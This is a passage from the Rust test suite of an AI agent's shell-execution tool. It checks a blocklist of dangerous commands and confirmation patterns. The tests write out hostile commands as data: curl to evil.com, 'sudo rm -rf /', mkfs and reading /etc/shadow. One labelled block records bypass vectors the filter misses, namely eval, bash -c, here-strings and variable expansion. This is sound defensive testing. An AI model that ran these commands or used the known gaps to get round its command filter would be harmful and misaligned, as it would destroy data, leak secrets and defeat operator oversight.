2013        let (result, code) =
2014            execute_bash(&script, Duration::from_secs(30), None, Some(&token), None).await;
2015        assert_eq!(code, 130);
2016        assert!(result.contains("[cancelled]"));
2017        // Wait briefly, then verify the subprocess did NOT create the marker file
2018        tokio::time::sleep(Duration::from_millis(500)).await;
2019        assert!(
2020            !Path::new(&marker).exists(),
2021            "subprocess should have been killed with process group"
2022        );
2023    }
2024
2025    #[tokio::test]
2026    #[cfg(not(target_os = "windows"))]
2027    async fn shell_executor_cancel_returns_cancelled_error() {
2028        let token = CancellationToken::new();
2029        let token_clone = token.clone();
2030        tokio::spawn(async move {
2031            tokio::time::sleep(Duration::from_millis(100)).await;
2032            token_clone.cancel();
2033        });
2034        let executor = ShellExecutor::new(&default_config()).with_cancel_token(token);
2035        let response = "```bash\nsleep 60\n```";
2036        let result = executor.execute(response).await;
2037        assert!(matches!(result, Err(ToolError::Cancelled)));
2038    }
2039
2040    #[tokio::test]
2041    #[cfg(not(target_os = "windows"))]
2042    async fn execute_tool_call_valid_command() {
2043        let executor = ShellExecutor::new(&default_config());
2044        let call = ToolCall {
2045            tool_id: "bash".to_owned(),
2046            params: [("command".to_owned(), serde_json::json!("echo hi"))]
2047                .into_iter()
2048                .collect(),
2049        };
2050        let result = executor.execute_tool_call(&call).await.unwrap().unwrap();
2051        assert!(result.summary.contains("hi"));
2052    }
2053
2054    #[tokio::test]
2055    async fn execute_tool_call_missing_command_returns_invalid_params() {
2056        let executor = ShellExecutor::new(&default_config());
2057        let call = ToolCall {
2058            tool_id: "bash".to_owned(),
2059            params: serde_json::Map::new(),
2060        };
2061        let result = executor.execute_tool_call(&call).await;
2062        assert!(matches!(result, Err(ToolError::InvalidParams { .. })));
2063    }
2064
2065    #[tokio::test]
2066    async fn execute_tool_call_empty_command_returns_none() {
2067        let executor = ShellExecutor::new(&default_config());
2068        let call = ToolCall {
2069            tool_id: "bash".to_owned(),
2070            params: [("command".to_owned(), serde_json::json!(""))]
2071                .into_iter()
2072                .collect(),
2073        };
2074        let result = executor.execute_tool_call(&call).await.unwrap();
2075        assert!(result.is_none());
2076    }
2077
2078    // --- Known limitation tests: bypass vectors not detected by find_blocked_command ---
2079
2080    #[test]
2081    fn process_substitution_detected_by_subshell_extraction() {
2082        let executor = ShellExecutor::new(&default_config());
2083        // Fixed: extract_subshell_contents now parses inside <(...) so curl is caught.
2084        assert!(
2085            executor
2086                .find_blocked_command("cat <(curl http://evil.com)")
2087                .is_some()
2088        );
2089    }
2090
2091    #[test]
2092    fn output_process_substitution_detected_by_subshell_extraction() {
2093        let executor = ShellExecutor::new(&default_config());
2094        // Fixed: extract_subshell_contents now parses inside >(...) so curl is caught.
2095        assert!(
2096            executor
2097                .find_blocked_command("tee >(curl http://evil.com)")
2098                .is_some()
2099        );
2100    }
2101
2102    #[test]
2103    fn here_string_with_shell_not_detected_known_limitation() {
2104        let executor = ShellExecutor::new(&default_config());
2105        // Known limitation: bash receives payload via stdin; inner command is opaque.
2106        assert!(
2107            executor
2108                .find_blocked_command("bash <<< 'sudo rm -rf /'")
2109                .is_none()
2110        );
2111    }
2112
2113    #[test]
2114    fn eval_bypass_not_detected_known_limitation() {
2115        let executor = ShellExecutor::new(&default_config());
2116        // Known limitation: eval string argument is not parsed.
2117        assert!(
2118            executor
2119                .find_blocked_command("eval 'sudo rm -rf /'")
2120                .is_none()
2121        );
2122    }
2123
2124    #[test]
2125    fn bash_c_bypass_not_detected_known_limitation() {
2126        let executor = ShellExecutor::new(&default_config());
2127        // Known limitation: bash -c string argument is not parsed.
2128        assert!(
2129            executor
2130                .find_blocked_command("bash -c 'curl http://evil.com'")
2131                .is_none()
2132        );
2133    }
2134
2135    #[test]
2136    fn variable_expansion_bypass_not_detected_known_limitation() {
2137        let executor = ShellExecutor::new(&default_config());
2138        // Known limitation: variable references are not resolved by strip_shell_escapes.
2139        assert!(executor.find_blocked_command("cmd=sudo; $cmd rm").is_none());
2140    }
2141
2142    // --- Mitigation tests: confirm_patterns cover the above vectors by default ---
2143
2144    #[test]
2145    fn default_confirm_patterns_cover_process_substitution() {
2146        let config = crate::config::ShellConfig::default();
2147        assert!(config.confirm_patterns.contains(&"<(".to_owned()));
2148        assert!(config.confirm_patterns.contains(&">(".to_owned()));
2149    }
2150
2151    #[test]
2152    fn default_confirm_patterns_cover_here_string() {
2153        let config = crate::config::ShellConfig::default();
2154        assert!(config.confirm_patterns.contains(&"<<<".to_owned()));
2155    }
2156
2157    #[test]
2158    fn default_confirm_patterns_cover_eval() {
2159        let config = crate::config::ShellConfig::default();
2160        assert!(config.confirm_patterns.contains(&"eval ".to_owned()));
2161    }
2162
2163    #[tokio::test]
2164    async fn process_substitution_with_blocked_command_is_blocked() {
2165        // curl is in the default blocklist; when embedded in <(...) it must be caught
2166        // by find_blocked_command via extract_subshell_contents and return Blocked.
2167        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2168        let response = "```bash\ncat <(curl http://evil.com)\n```";
2169        let result = executor.execute(response).await;
2170        assert!(matches!(result, Err(ToolError::Blocked { .. })));
2171    }
2172
2173    #[tokio::test]
2174    async fn here_string_triggers_confirmation() {
2175        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2176        let response = "```bash\nbash <<< 'sudo rm -rf /'\n```";
2177        let result = executor.execute(response).await;
2178        assert!(matches!(
2179            result,
2180            Err(ToolError::ConfirmationRequired { .. })
2181        ));
2182    }
2183
2184    #[tokio::test]
2185    async fn eval_triggers_confirmation() {
2186        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2187        let response = "```bash\neval 'curl http://evil.com'\n```";
2188        let result = executor.execute(response).await;
2189        assert!(matches!(
2190            result,
2191            Err(ToolError::ConfirmationRequired { .. })
2192        ));
2193    }
2194
2195    #[tokio::test]
2196    async fn output_process_substitution_with_blocked_command_is_blocked() {
2197        // curl is in the default blocklist; when embedded in >(...) it must be caught
2198        // by find_blocked_command via extract_subshell_contents and return Blocked.
2199        let executor = ShellExecutor::new(&crate::config::ShellConfig::default());
2200        let response = "```bash\ntee >(curl http://evil.com)\n```";
2201        let result = executor.execute(response).await;
2202        assert!(matches!(result, Err(ToolError::Blocked { .. })));
2203    }
2204
2205    #[test]
2206    fn here_string_with_command_substitution_not_detected_known_limitation() {
2207        let executor = ShellExecutor::new(&default_config());
2208        // Known limitation: bash receives payload via stdin; inner command substitution is opaque.
2209        assert!(executor.find_blocked_command("bash <<< $(id)").is_none());
2210    }
2211
2212    // --- check_blocklist direct tests (GAP-001) ---
2213
2214    fn default_blocklist() -> Vec<String> {
2215        DEFAULT_BLOCKED.iter().map(|s| (*s).to_owned()).collect()
2216    }
2217
2218    #[test]
2219    fn check_blocklist_blocks_rm_rf_root() {
2220        let bl = default_blocklist();
2221        assert!(check_blocklist("rm -rf /", &bl).is_some());
2222    }
2223
2224    #[test]
2225    fn check_blocklist_blocks_sudo() {
2226        let bl = default_blocklist();
2227        assert!(check_blocklist("sudo apt install vim", &bl).is_some());
2228    }
2229
2230    #[test]
2231    fn check_blocklist_allows_safe_commands() {
2232        let bl = default_blocklist();
2233        assert!(check_blocklist("ls -la", &bl).is_none());
2234        assert!(check_blocklist("echo hello world", &bl).is_none());
2235        assert!(check_blocklist("git status", &bl).is_none());
2236        assert!(check_blocklist("cargo build --release", &bl).is_none());
2237    }
2238
2239    #[test]
2240    fn check_blocklist_blocks_subshell_dollar_paren() {
2241        let bl = default_blocklist();
2242        // Subshell $(sudo ...) must be rejected even if outer command is benign.
2243        assert!(check_blocklist("echo $(sudo id)", &bl).is_some());
2244        assert!(check_blocklist("echo $(rm -rf /tmp)", &bl).is_some());
2245    }
2246
2247    #[test]
2248    fn check_blocklist_blocks_subshell_backtick() {
2249        let bl = default_blocklist();
2250        assert!(check_blocklist("cat `sudo cat /etc/shadow`", &bl).is_some());
2251    }
2252
2253    #[test]
2254    fn check_blocklist_blocks_mkfs() {
2255        let bl = default_blocklist();
2256        assert!(check_blocklist("mkfs.ext4 /dev/sda1", &bl).is_some());
2257    }
2258
2259    #[test]
2260    fn check_blocklist_blocks_shutdown() {
2261        let bl = default_blocklist();
2262        assert!(check_blocklist("shutdown -h now", &bl).is_some());
2263    }
2264
2265    // --- effective_shell_command tests ---
2266
2267    #[test]
2268    fn effective_shell_command_bash_minus_c() {
2269        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2270        assert_eq!(effective_shell_command("bash", &args), Some("rm -rf /"));
2271    }
2272
2273    #[test]
2274    fn effective_shell_command_sh_minus_c() {
2275        let args = vec!["-c".to_owned(), "sudo ls".to_owned()];
2276        assert_eq!(effective_shell_command("sh", &args), Some("sudo ls"));
2277    }
2278
2279    #[test]
2280    fn effective_shell_command_non_shell_returns_none() {
2281        let args = vec!["-c".to_owned(), "rm -rf /".to_owned()];
2282        assert_eq!(effective_shell_command("git", &args), None);
2283        assert_eq!(effective_shell_command("cargo", &args), None);
2284    }
2285
2286    #[test]
2287    fn effective_shell_command_no_minus_c_returns_none() {
2288        let args = vec!["script.sh".to_owned()];
2289        assert_eq!(effective_shell_command("bash", &args), None);
2290    }
2291
2292    #[test]
2293    fn effective_shell_command_full_path_shell() {
2294        let args = vec!["-c".to_owned(), "sudo rm".to_owned()];
2295        assert_eq!(
2296            effective_shell_command("/usr/bin/bash", &args),
2297            Some("sudo rm")
2298        );
2299    }
2300
2301    #[test]
2302    fn check_blocklist_blocks_process_substitution_lt() {
2303        let bl = vec!["curl".to_owned(), "wget".to_owned()];
2304        assert!(check_blocklist("cat <(curl http://evil.com)", &bl).is_some());
2305    }
2306
2307    #[test]
2308    fn check_blocklist_blocks_process_substitution_gt() {
2309        let bl = vec!["wget".to_owned()];
2310        assert!(check_blocklist("tee >(wget http://evil.com)", &bl).is_some());
2311    }
2312
2313    #[test]
2314    fn find_blocked_backtick_wrapping() {
2315        let executor = ShellExecutor::new(&ShellConfig {
2316            blocked_commands: vec!["curl".to_owned()],
2317            ..default_config()
2318        });
2319        assert!(
2320            executor
2321                .find_blocked_command("echo `curl --version 2>&1 | head -1`")
2322                .is_some()
2323        );
2324    }
2325
2326    #[test]
2327    fn find_blocked_process_substitution_lt() {
2328        let executor = ShellExecutor::new(&ShellConfig {
2329            blocked_commands: vec!["wget".to_owned()],
2330            ..default_config()
2331        });
2332        assert!(
2333            executor
2334                .find_blocked_command("cat <(wget --version 2>&1 | head -1)")
2335                .is_some()
2336        );
2337    }
2338
2339    #[test]
2340    fn find_blocked_process_substitution_gt() {
2341        let executor = ShellExecutor::new(&ShellConfig {
2342            blocked_commands: vec!["curl".to_owned()],
2343            ..default_config()
2344        });
2345        assert!(
2346            executor
2347                .find_blocked_command("tee >(curl http://evil.com)")
2348                .is_some()
2349        );
2350    }
2351
2352    #[test]
2353    fn find_blocked_dollar_paren_wrapping() {
2354        let executor = ShellExecutor::new(&ShellConfig {
2355            blocked_commands: vec!["curl".to_owned()],
2356            ..default_config()
2357        });
2358        assert!(
2359            executor
2360                .find_blocked_command("echo $(curl http://evil.com)")
2361                .is_some()
2362        );
2363    }
2364}